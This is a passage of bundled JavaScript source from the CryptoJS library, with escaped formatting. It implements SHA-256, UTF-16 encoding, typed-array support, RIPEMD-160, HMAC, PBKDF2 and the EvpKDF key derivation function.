(isPrime(n)) {\n\t                if (nPrime < 8) {\n\t                    H[nPrime] = getFractionalBits(Math.pow(n, 1 / 2));\n\t                }\n\t                K[nPrime] = getFractionalBits(Math.pow(n, 1 / 3));\n\n\t                nPrime++;\n\t            }\n\n\t            n++;\n\t        }\n\t    }());\n\n\t    // Reusable object\n\t    var W = [];\n\n\t    /**\n\t     * SHA-256 hash algorithm.\n\t     */\n\t    var SHA256 = C_algo.SHA256 = Hasher.extend({\n\t        _doReset: function () {\n\t            this._hash = new WordArray.init(H.slice(0));\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Shortcut\n\t            var H = this._hash.words;\n\n\t            // Working variables\n\t            var a = H[0];\n\t            var b = H[1];\n\t            var c = H[2];\n\t            var d = H[3];\n\t            var e = H[4];\n\t            var f = H[5];\n\t            var g = H[6];\n\t            var h = H[7];\n\n\t            // Computation\n\t            for (var i = 0; i < 64; i++) {\n\t                if (i < 16) {\n\t                    W[i] = M[offset + i] | 0;\n\t                } else {\n\t                    var gamma0x = W[i - 15];\n\t                    var gamma0  = ((gamma0x << 25) | (gamma0x >>> 7))  ^\n\t                                  ((gamma0x << 14) | (gamma0x >>> 18)) ^\n\t                                   (gamma0x >>> 3);\n\n\t                    var gamma1x = W[i - 2];\n\t                    var gamma1  = ((gamma1x << 15) | (gamma1x >>> 17)) ^\n\t                                  ((gamma1x << 13) | (gamma1x >>> 19)) ^\n\t                                   (gamma1x >>> 10);\n\n\t                    W[i] = gamma0 + W[i - 7] + gamma1 + W[i - 16];\n\t                }\n\n\t                var ch  = (e & f) ^ (~e & g);\n\t                var maj = (a & b) ^ (a & c) ^ (b & c);\n\n\t                var sigma0 = ((a << 30) | (a >>> 2)) ^ ((a << 19) | (a >>> 13)) ^ ((a << 10) | (a >>> 22));\n\t                var sigma1 = ((e << 26) | (e >>> 6)) ^ ((e << 21) | (e >>> 11)) ^ ((e << 7)  | (e >>> 25));\n\n\t                var t1 = h + sigma1 + ch + K[i] + W[i];\n\t                var t2 = sigma0 + maj;\n\n\t                h = g;\n\t                g = f;\n\t                f = e;\n\t                e = (d + t1) | 0;\n\t                d = c;\n\t                c = b;\n\t                b = a;\n\t                a = (t1 + t2) | 0;\n\t            }\n\n\t            // Intermediate hash value\n\t            H[0] = (H[0] + a) | 0;\n\t            H[1] = (H[1] + b) | 0;\n\t            H[2] = (H[2] + c) | 0;\n\t            H[3] = (H[3] + d) | 0;\n\t            H[4] = (H[4] + e) | 0;\n\t            H[5] = (H[5] + f) | 0;\n\t            H[6] = (H[6] + g) | 0;\n\t            H[7] = (H[7] + h) | 0;\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\n\t            var nBitsTotal = this._nDataBytes * 8;\n\t            var nBitsLeft = data.sigBytes * 8;\n\n\t            // Add padding\n\t            dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = Math.floor(nBitsTotal / 0x100000000);\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 15] = nBitsTotal;\n\t            data.sigBytes = dataWords.length * 4;\n\n\t            // Hash final blocks\n\t            this._process();\n\n\t            // Return final computed hash\n\t            return this._hash;\n\t        },\n\n\t        clone: function () {\n\t            var clone = Hasher.clone.call(this);\n\t            clone._hash = this._hash.clone();\n\n\t            return clone;\n\t        }\n\t    });\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.SHA256('message');\n\t     *     var hash = CryptoJS.SHA256(wordArray);\n\t     */\n\t    C.SHA256 = Hasher._createHelper(SHA256);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacSHA256(message, key);\n\t     */\n\t    C.HmacSHA256 = Hasher._createHmacHelper(SHA256);\n\t}(Math));\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var C_enc = C.enc;\n\n\t    /**\n\t     * UTF-16 BE encoding strategy.\n\t     */\n\t    var Utf16BE = C_enc.Utf16 = C_enc.Utf16BE = {\n\t        /**\n\t         * Converts a word array to a UTF-16 BE string.\n\t         *\n\t         * @param {WordArray} wordArray The word array.\n\t         *\n\t         * @return {string} The UTF-16 BE string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var utf16String = CryptoJS.enc.Utf16.stringify(wordArray);\n\t         */\n\t        stringify: function (wordArray) {\n\t            // Shortcuts\n\t            var words = wordArray.words;\n\t            var sigBytes = wordArray.sigBytes;\n\n\t            // Convert\n\t            var utf16Chars = [];\n\t            for (var i = 0; i < sigBytes; i += 2) {\n\t                var codePoint = (words[i >>> 2] >>> (16 - (i % 4) * 8)) & 0xffff;\n\t                utf16Chars.push(String.fromCharCode(codePoint));\n\t            }\n\n\t            return utf16Chars.join('');\n\t        },\n\n\t        /**\n\t         * Converts a UTF-16 BE string to a word array.\n\t         *\n\t         * @param {string} utf16Str The UTF-16 BE string.\n\t         *\n\t         * @return {WordArray} The word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.enc.Utf16.parse(utf16String);\n\t         */\n\t        parse: function (utf16Str) {\n\t            // Shortcut\n\t            var utf16StrLength = utf16Str.length;\n\n\t            // Convert\n\t            var words = [];\n\t            for (var i = 0; i < utf16StrLength; i++) {\n\t                words[i >>> 1] |= utf16Str.charCodeAt(i) << (16 - (i % 2) * 16);\n\t            }\n\n\t            return WordArray.create(words, utf16StrLength * 2);\n\t        }\n\t    };\n\n\t    /**\n\t     * UTF-16 LE encoding strategy.\n\t     */\n\t    C_enc.Utf16LE = {\n\t        /**\n\t         * Converts a word array to a UTF-16 LE string.\n\t         *\n\t         * @param {WordArray} wordArray The word array.\n\t         *\n\t         * @return {string} The UTF-16 LE string.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var utf16Str = CryptoJS.enc.Utf16LE.stringify(wordArray);\n\t         */\n\t        stringify: function (wordArray) {\n\t            // Shortcuts\n\t            var words = wordArray.words;\n\t            var sigBytes = wordArray.sigBytes;\n\n\t            // Convert\n\t            var utf16Chars = [];\n\t            for (var i = 0; i < sigBytes; i += 2) {\n\t                var codePoint = swapEndian((words[i >>> 2] >>> (16 - (i % 4) * 8)) & 0xffff);\n\t                utf16Chars.push(String.fromCharCode(codePoint));\n\t            }\n\n\t            return utf16Chars.join('');\n\t        },\n\n\t        /**\n\t         * Converts a UTF-16 LE string to a word array.\n\t         *\n\t         * @param {string} utf16Str The UTF-16 LE string.\n\t         *\n\t         * @return {WordArray} The word array.\n\t         *\n\t         * @static\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.enc.Utf16LE.parse(utf16Str);\n\t         */\n\t        parse: function (utf16Str) {\n\t            // Shortcut\n\t            var utf16StrLength = utf16Str.length;\n\n\t            // Convert\n\t            var words = [];\n\t            for (var i = 0; i < utf16StrLength; i++) {\n\t                words[i >>> 1] |= swapEndian(utf16Str.charCodeAt(i) << (16 - (i % 2) * 16));\n\t            }\n\n\t            return WordArray.create(words, utf16StrLength * 2);\n\t        }\n\t    };\n\n\t    function swapEndian(word) {\n\t        return ((word << 8) & 0xff00ff00) | ((word >>> 8) & 0x00ff00ff);\n\t    }\n\t}());\n\n\n\t(function () {\n\t    // Check if typed arrays are supported\n\t    if (typeof ArrayBuffer != 'function') {\n\t        return;\n\t    }\n\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\n\t    // Reference original init\n\t    var superInit = WordArray.init;\n\n\t    // Augment WordArray.init to handle typed arrays\n\t    var subInit = WordArray.init = function (typedArray) {\n\t        // Convert buffers to uint8\n\t        if (typedArray instanceof ArrayBuffer) {\n\t            typedArray = new Uint8Array(typedArray);\n\t        }\n\n\t        // Convert other array views to uint8\n\t        if (\n\t            typedArray instanceof Int8Array ||\n\t            (typeof Uint8ClampedArray !== \"undefined\" && typedArray instanceof Uint8ClampedArray) ||\n\t            typedArray instanceof Int16Array ||\n\t            typedArray instanceof Uint16Array ||\n\t            typedArray instanceof Int32Array ||\n\t            typedArray instanceof Uint32Array ||\n\t            typedArray instanceof Float32Array ||\n\t            typedArray instanceof Float64Array\n\t        ) {\n\t            typedArray = new Uint8Array(typedArray.buffer, typedArray.byteOffset, typedArray.byteLength);\n\t        }\n\n\t        // Handle Uint8Array\n\t        if (typedArray instanceof Uint8Array) {\n\t            // Shortcut\n\t            var typedArrayByteLength = typedArray.byteLength;\n\n\t            // Extract bytes\n\t            var words = [];\n\t            for (var i = 0; i < typedArrayByteLength; i++) {\n\t                words[i >>> 2] |= typedArray[i] << (24 - (i % 4) * 8);\n\t            }\n\n\t            // Initialize this word array\n\t            superInit.call(this, words, typedArrayByteLength);\n\t        } else {\n\t            // Else call normal init\n\t            superInit.apply(this, arguments);\n\t        }\n\t    };\n\n\t    subInit.prototype = WordArray;\n\t}());\n\n\n\t/** @preserve\n\t(c) 2012 by Cédric Mesnil. All rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n\t    - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\t    - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\t*/\n\n\t(function (Math) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var Hasher = C_lib.Hasher;\n\t    var C_algo = C.algo;\n\n\t    // Constants table\n\t    var _zl = WordArray.create([\n\t        0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,\n\t        7,  4, 13,  1, 10,  6, 15,  3, 12,  0,  9,  5,  2, 14, 11,  8,\n\t        3, 10, 14,  4,  9, 15,  8,  1,  2,  7,  0,  6, 13, 11,  5, 12,\n\t        1,  9, 11, 10,  0,  8, 12,  4, 13,  3,  7, 15, 14,  5,  6,  2,\n\t        4,  0,  5,  9,  7, 12,  2, 10, 14,  1,  3,  8, 11,  6, 15, 13]);\n\t    var _zr = WordArray.create([\n\t        5, 14,  7,  0,  9,  2, 11,  4, 13,  6, 15,  8,  1, 10,  3, 12,\n\t        6, 11,  3,  7,  0, 13,  5, 10, 14, 15,  8, 12,  4,  9,  1,  2,\n\t        15,  5,  1,  3,  7, 14,  6,  9, 11,  8, 12,  2, 10,  0,  4, 13,\n\t        8,  6,  4,  1,  3, 11, 15,  0,  5, 12,  2, 13,  9,  7, 10, 14,\n\t        12, 15, 10,  4,  1,  5,  8,  7,  6,  2, 13, 14,  0,  3,  9, 11]);\n\t    var _sl = WordArray.create([\n\t         11, 14, 15, 12,  5,  8,  7,  9, 11, 13, 14, 15,  6,  7,  9,  8,\n\t        7, 6,   8, 13, 11,  9,  7, 15,  7, 12, 15,  9, 11,  7, 13, 12,\n\t        11, 13,  6,  7, 14,  9, 13, 15, 14,  8, 13,  6,  5, 12,  7,  5,\n\t          11, 12, 14, 15, 14, 15,  9,  8,  9, 14,  5,  6,  8,  6,  5, 12,\n\t        9, 15,  5, 11,  6,  8, 13, 12,  5, 12, 13, 14, 11,  8,  5,  6 ]);\n\t    var _sr = WordArray.create([\n\t        8,  9,  9, 11, 13, 15, 15,  5,  7,  7,  8, 11, 14, 14, 12,  6,\n\t        9, 13, 15,  7, 12,  8,  9, 11,  7,  7, 12,  7,  6, 15, 13, 11,\n\t        9,  7, 15, 11,  8,  6,  6, 14, 12, 13,  5, 14, 13, 13,  7,  5,\n\t        15,  5,  8, 11, 14, 14,  6, 14,  6,  9, 12,  9, 12,  5, 15,  8,\n\t        8,  5, 12,  9, 12,  5, 14,  6,  8, 13,  6,  5, 15, 13, 11, 11 ]);\n\n\t    var _hl =  WordArray.create([ 0x00000000, 0x5A827999, 0x6ED9EBA1, 0x8F1BBCDC, 0xA953FD4E]);\n\t    var _hr =  WordArray.create([ 0x50A28BE6, 0x5C4DD124, 0x6D703EF3, 0x7A6D76E9, 0x00000000]);\n\n\t    /**\n\t     * RIPEMD160 hash algorithm.\n\t     */\n\t    var RIPEMD160 = C_algo.RIPEMD160 = Hasher.extend({\n\t        _doReset: function () {\n\t            this._hash  = WordArray.create([0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0]);\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\n\t            // Swap endian\n\t            for (var i = 0; i < 16; i++) {\n\t                // Shortcuts\n\t                var offset_i = offset + i;\n\t                var M_offset_i = M[offset_i];\n\n\t                // Swap\n\t                M[offset_i] = (\n\t                    (((M_offset_i << 8)  | (M_offset_i >>> 24)) & 0x00ff00ff) |\n\t                    (((M_offset_i << 24) | (M_offset_i >>> 8))  & 0xff00ff00)\n\t                );\n\t            }\n\t            // Shortcut\n\t            var H  = this._hash.words;\n\t            var hl = _hl.words;\n\t            var hr = _hr.words;\n\t            var zl = _zl.words;\n\t            var zr = _zr.words;\n\t            var sl = _sl.words;\n\t            var sr = _sr.words;\n\n\t            // Working variables\n\t            var al, bl, cl, dl, el;\n\t            var ar, br, cr, dr, er;\n\n\t            ar = al = H[0];\n\t            br = bl = H[1];\n\t            cr = cl = H[2];\n\t            dr = dl = H[3];\n\t            er = el = H[4];\n\t            // Computation\n\t            var t;\n\t            for (var i = 0; i < 80; i += 1) {\n\t                t = (al +  M[offset+zl[i]])|0;\n\t                if (i<16){\n\t\t            t +=  f1(bl,cl,dl) + hl[0];\n\t                } else if (i<32) {\n\t\t            t +=  f2(bl,cl,dl) + hl[1];\n\t                } else if (i<48) {\n\t\t            t +=  f3(bl,cl,dl) + hl[2];\n\t                } else if (i<64) {\n\t\t            t +=  f4(bl,cl,dl) + hl[3];\n\t                } else {// if (i<80) {\n\t\t            t +=  f5(bl,cl,dl) + hl[4];\n\t                }\n\t                t = t|0;\n\t                t =  rotl(t,sl[i]);\n\t                t = (t+el)|0;\n\t                al = el;\n\t                el = dl;\n\t                dl = rotl(cl, 10);\n\t                cl = bl;\n\t                bl = t;\n\n\t                t = (ar + M[offset+zr[i]])|0;\n\t                if (i<16){\n\t\t            t +=  f5(br,cr,dr) + hr[0];\n\t                } else if (i<32) {\n\t\t            t +=  f4(br,cr,dr) + hr[1];\n\t                } else if (i<48) {\n\t\t            t +=  f3(br,cr,dr) + hr[2];\n\t                } else if (i<64) {\n\t\t            t +=  f2(br,cr,dr) + hr[3];\n\t                } else {// if (i<80) {\n\t\t            t +=  f1(br,cr,dr) + hr[4];\n\t                }\n\t                t = t|0;\n\t                t =  rotl(t,sr[i]) ;\n\t                t = (t+er)|0;\n\t                ar = er;\n\t                er = dr;\n\t                dr = rotl(cr, 10);\n\t                cr = br;\n\t                br = t;\n\t            }\n\t            // Intermediate hash value\n\t            t    = (H[1] + cl + dr)|0;\n\t            H[1] = (H[2] + dl + er)|0;\n\t            H[2] = (H[3] + el + ar)|0;\n\t            H[3] = (H[4] + al + br)|0;\n\t            H[4] = (H[0] + bl + cr)|0;\n\t            H[0] =  t;\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\n\t            var nBitsTotal = this._nDataBytes * 8;\n\t            var nBitsLeft = data.sigBytes * 8;\n\n\t            // Add padding\n\t            dataWords[nBitsLeft >>> 5] |= 0x80 << (24 - nBitsLeft % 32);\n\t            dataWords[(((nBitsLeft + 64) >>> 9) << 4) + 14] = (\n\t                (((nBitsTotal << 8)  | (nBitsTotal >>> 24)) & 0x00ff00ff) |\n\t                (((nBitsTotal << 24) | (nBitsTotal >>> 8))  & 0xff00ff00)\n\t            );\n\t            data.sigBytes = (dataWords.length + 1) * 4;\n\n\t            // Hash final blocks\n\t            this._process();\n\n\t            // Shortcuts\n\t            var hash = this._hash;\n\t            var H = hash.words;\n\n\t            // Swap endian\n\t            for (var i = 0; i < 5; i++) {\n\t                // Shortcut\n\t                var H_i = H[i];\n\n\t                // Swap\n\t                H[i] = (((H_i << 8)  | (H_i >>> 24)) & 0x00ff00ff) |\n\t                       (((H_i << 24) | (H_i >>> 8))  & 0xff00ff00);\n\t            }\n\n\t            // Return final computed hash\n\t            return hash;\n\t        },\n\n\t        clone: function () {\n\t            var clone = Hasher.clone.call(this);\n\t            clone._hash = this._hash.clone();\n\n\t            return clone;\n\t        }\n\t    });\n\n\n\t    function f1(x, y, z) {\n\t        return ((x) ^ (y) ^ (z));\n\n\t    }\n\n\t    function f2(x, y, z) {\n\t        return (((x)&(y)) | ((~x)&(z)));\n\t    }\n\n\t    function f3(x, y, z) {\n\t        return (((x) | (~(y))) ^ (z));\n\t    }\n\n\t    function f4(x, y, z) {\n\t        return (((x) & (z)) | ((y)&(~(z))));\n\t    }\n\n\t    function f5(x, y, z) {\n\t        return ((x) ^ ((y) |(~(z))));\n\n\t    }\n\n\t    function rotl(x,n) {\n\t        return (x<<n) | (x>>>(32-n));\n\t    }\n\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.RIPEMD160('message');\n\t     *     var hash = CryptoJS.RIPEMD160(wordArray);\n\t     */\n\t    C.RIPEMD160 = Hasher._createHelper(RIPEMD160);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacRIPEMD160(message, key);\n\t     */\n\t    C.HmacRIPEMD160 = Hasher._createHmacHelper(RIPEMD160);\n\t}(Math));\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var Base = C_lib.Base;\n\t    var C_enc = C.enc;\n\t    var Utf8 = C_enc.Utf8;\n\t    var C_algo = C.algo;\n\n\t    /**\n\t     * HMAC algorithm.\n\t     */\n\t    var HMAC = C_algo.HMAC = Base.extend({\n\t        /**\n\t         * Initializes a newly created HMAC.\n\t         *\n\t         * @param {Hasher} hasher The hash algorithm to use.\n\t         * @param {WordArray|string} key The secret key.\n\t         *\n\t         * @example\n\t         *\n\t         *     var hmacHasher = CryptoJS.algo.HMAC.create(CryptoJS.algo.SHA256, key);\n\t         */\n\t        init: function (hasher, key) {\n\t            // Init hasher\n\t            hasher = this._hasher = new hasher.init();\n\n\t            // Convert string to WordArray, else assume WordArray already\n\t            if (typeof key == 'string') {\n\t                key = Utf8.parse(key);\n\t            }\n\n\t            // Shortcuts\n\t            var hasherBlockSize = hasher.blockSize;\n\t            var hasherBlockSizeBytes = hasherBlockSize * 4;\n\n\t            // Allow arbitrary length keys\n\t            if (key.sigBytes > hasherBlockSizeBytes) {\n\t                key = hasher.finalize(key);\n\t            }\n\n\t            // Clamp excess bits\n\t            key.clamp();\n\n\t            // Clone key for inner and outer pads\n\t            var oKey = this._oKey = key.clone();\n\t            var iKey = this._iKey = key.clone();\n\n\t            // Shortcuts\n\t            var oKeyWords = oKey.words;\n\t            var iKeyWords = iKey.words;\n\n\t            // XOR keys with pad constants\n\t            for (var i = 0; i < hasherBlockSize; i++) {\n\t                oKeyWords[i] ^= 0x5c5c5c5c;\n\t                iKeyWords[i] ^= 0x36363636;\n\t            }\n\t            oKey.sigBytes = iKey.sigBytes = hasherBlockSizeBytes;\n\n\t            // Set initial values\n\t            this.reset();\n\t        },\n\n\t        /**\n\t         * Resets this HMAC to its initial state.\n\t         *\n\t         * @example\n\t         *\n\t         *     hmacHasher.reset();\n\t         */\n\t        reset: function () {\n\t            // Shortcut\n\t            var hasher = this._hasher;\n\n\t            // Reset\n\t            hasher.reset();\n\t            hasher.update(this._iKey);\n\t        },\n\n\t        /**\n\t         * Updates this HMAC with a message.\n\t         *\n\t         * @param {WordArray|string} messageUpdate The message to append.\n\t         *\n\t         * @return {HMAC} This HMAC instance.\n\t         *\n\t         * @example\n\t         *\n\t         *     hmacHasher.update('message');\n\t         *     hmacHasher.update(wordArray);\n\t         */\n\t        update: function (messageUpdate) {\n\t            this._hasher.update(messageUpdate);\n\n\t            // Chainable\n\t            return this;\n\t        },\n\n\t        /**\n\t         * Finalizes the HMAC computation.\n\t         * Note that the finalize operation is effectively a destructive, read-once operation.\n\t         *\n\t         * @param {WordArray|string} messageUpdate (Optional) A final message update.\n\t         *\n\t         * @return {WordArray} The HMAC.\n\t         *\n\t         * @example\n\t         *\n\t         *     var hmac = hmacHasher.finalize();\n\t         *     var hmac = hmacHasher.finalize('message');\n\t         *     var hmac = hmacHasher.finalize(wordArray);\n\t         */\n\t        finalize: function (messageUpdate) {\n\t            // Shortcut\n\t            var hasher = this._hasher;\n\n\t            // Compute HMAC\n\t            var innerHash = hasher.finalize(messageUpdate);\n\t            hasher.reset();\n\t            var hmac = hasher.finalize(this._oKey.clone().concat(innerHash));\n\n\t            return hmac;\n\t        }\n\t    });\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var Base = C_lib.Base;\n\t    var WordArray = C_lib.WordArray;\n\t    var C_algo = C.algo;\n\t    var SHA1 = C_algo.SHA1;\n\t    var HMAC = C_algo.HMAC;\n\n\t    /**\n\t     * Password-Based Key Derivation Function 2 algorithm.\n\t     */\n\t    var PBKDF2 = C_algo.PBKDF2 = Base.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {number} keySize The key size in words to generate. Default: 4 (128 bits)\n\t         * @property {Hasher} hasher The hasher to use. Default: SHA1\n\t         * @property {number} iterations The number of iterations to perform. Default: 1\n\t         */\n\t        cfg: Base.extend({\n\t            keySize: 128/32,\n\t            hasher: SHA1,\n\t            iterations: 1\n\t        }),\n\n\t        /**\n\t         * Initializes a newly created key derivation function.\n\t         *\n\t         * @param {Object} cfg (Optional) The configuration options to use for the derivation.\n\t         *\n\t         * @example\n\t         *\n\t         *     var kdf = CryptoJS.algo.PBKDF2.create();\n\t         *     var kdf = CryptoJS.algo.PBKDF2.create({ keySize: 8 });\n\t         *     var kdf = CryptoJS.algo.PBKDF2.create({ keySize: 8, iterations: 1000 });\n\t         */\n\t        init: function (cfg) {\n\t            this.cfg = this.cfg.extend(cfg);\n\t        },\n\n\t        /**\n\t         * Computes the Password-Based Key Derivation Function 2.\n\t         *\n\t         * @param {WordArray|string} password The password.\n\t         * @param {WordArray|string} salt A salt.\n\t         *\n\t         * @return {WordArray} The derived key.\n\t         *\n\t         * @example\n\t         *\n\t         *     var key = kdf.compute(password, salt);\n\t         */\n\t        compute: function (password, salt) {\n\t            // Shortcut\n\t            var cfg = this.cfg;\n\n\t            // Init HMAC\n\t            var hmac = HMAC.create(cfg.hasher, password);\n\n\t            // Initial values\n\t            var derivedKey = WordArray.create();\n\t            var blockIndex = WordArray.create([0x00000001]);\n\n\t            // Shortcuts\n\t            var derivedKeyWords = derivedKey.words;\n\t            var blockIndexWords = blockIndex.words;\n\t            var keySize = cfg.keySize;\n\t            var iterations = cfg.iterations;\n\n\t            // Generate key\n\t            while (derivedKeyWords.length < keySize) {\n\t                var block = hmac.update(salt).finalize(blockIndex);\n\t                hmac.reset();\n\n\t                // Shortcuts\n\t                var blockWords = block.words;\n\t                var blockWordsLength = blockWords.length;\n\n\t                // Iterations\n\t                var intermediate = block;\n\t                for (var i = 1; i < iterations; i++) {\n\t                    intermediate = hmac.finalize(intermediate);\n\t                    hmac.reset();\n\n\t                    // Shortcut\n\t                    var intermediateWords = intermediate.words;\n\n\t                    // XOR intermediate with block\n\t                    for (var j = 0; j < blockWordsLength; j++) {\n\t                        blockWords[j] ^= intermediateWords[j];\n\t                    }\n\t                }\n\n\t                derivedKey.concat(block);\n\t                blockIndexWords[0]++;\n\t            }\n\t            derivedKey.sigBytes = keySize * 4;\n\n\t            return derivedKey;\n\t        }\n\t    });\n\n\t    /**\n\t     * Computes the Password-Based Key Derivation Function 2.\n\t     *\n\t     * @param {WordArray|string} password The password.\n\t     * @param {WordArray|string} salt A salt.\n\t     * @param {Object} cfg (Optional) The configuration options to use for this computation.\n\t     *\n\t     * @return {WordArray} The derived key.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var key = CryptoJS.PBKDF2(password, salt);\n\t     *     var key = CryptoJS.PBKDF2(password, salt, { keySize: 8 });\n\t     *     var key = CryptoJS.PBKDF2(password, salt, { keySize: 8, iterations: 1000 });\n\t     */\n\t    C.PBKDF2 = function (password, salt, cfg) {\n\t        return PBKDF2.create(cfg).compute(password, salt);\n\t    };\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var Base = C_lib.Base;\n\t    var WordArray = C_lib.WordArray;\n\t    var C_algo = C.algo;\n\t    var MD5 = C_algo.MD5;\n\n\t    /**\n\t     * This key derivation function is meant to conform with EVP_BytesToKey.\n\t     * www.openssl.org/docs/crypto/EVP_BytesToKey.html\n\t     */\n\t    var EvpKDF = C_algo.EvpKDF = Base.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {number} keySize The key size in words to generate. Default: 4 (128 bits)\n\t         * @property {Hasher} hasher The hash algorithm to use. Default: MD5\n\t         * @property {number} iterations The number of iterations to perform. Default: 1\n\t         */\n\t        cfg: Base.extend({\n\t            keySize: 128/32,\n\t            hasher: MD5,\n\t            iterations: 1\n\t        }),\n\n\t        /**\n\t         * Initializes a newly created key derivation function.\n\t         *\n\t         * @param {Object} cfg (Optional) The configuration options to use for the derivation.\n\t         *\n\t         * @example\n\t         *\n\t         *     var kdf = CryptoJS.algo.EvpKDF.create();\n\t         *     var kdf = CryptoJS.algo.EvpKDF.create({ keySize: 8 });\n\t         *     var kdf = CryptoJS.algo.EvpKDF.create({ keySize: 8, iterations: 1000 });\n\t         */\n\t        init: function (cfg) {\n\t            this.cfg = this.cfg.extend(cfg);\n\t        },\n\n\t        /**\n\t         * Derives a key from a password.\n\t         *\n\t         * @param {WordArray|string} password The password.\n\t         * @param {WordArray|string} salt A salt.\n\t         *\n\t         * @return {WordArray} The derived key.\n\t         *\n\t         * @example\n\t         *\n\t         *     var key = kdf.compute(password, salt);\n\t         */\n\t        compute: function (password, salt) {\n\t            // Shortcut\n\t            var cfg = this.cfg;\n\n\t            // Init hasher\n\t            var hasher = cfg.hasher.create();\n\n\t            // Initial values\n\t            var derivedKey = WordArray.create();\n\n\t            // Shortcuts\n\t            var derivedKeyWords = derivedKey.words;\n\t            var keySize = cfg.keySize;\n\t            var iterations = cfg.iterations;\n\n\t            // Generate key\n\t            while (derivedKeyWords.length < keySize) {\n\t                if (block) {\n\t                    hasher.update(block);\n\t                }\n\t                var block = hasher.update(password).finalize(salt);\n\t                hasher.reset();\n\n\t                // Iterations\n\t                for (var i = 1; i < iterations; i++) {\n\t                    block = hasher.finalize(block);\n\t                    hasher.reset();\n\t                }\n\n\t                derivedKey.concat(block);\n\t            }\n\t            derivedKey.sigBytes = keySize * 4;\n\n\t            return derivedKey;\n\t        }\n\t    });\n\n\t    /**\n\t     * Derives a key from a password.\n\t     *\n\t     * @param {WordArray|string} password The password.\n\t     * @param {WordArray|string} salt A salt.\n\t     * @param {Object} cfg (Optional) The configuration options to use for this computation.\n\t     *\n\t     * @return {WordArray} The derived key.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var key = CryptoJS.EvpKDF(password, salt);\n\t     *     var key = CryptoJS.EvpKDF(password, salt, { keySize: 8 });\n\t     *     var key = CryptoJS.EvpKDF(password, salt, { keySize: 8, iterations: 1000 });\n\t     */\n\t    C.EvpKDF = function (password, salt, cfg) {\n\t        return EvpKDF.create(cfg).compute(password, salt);\n\t    };\n\t}());\n\n\n\t(function () {\n\t    // 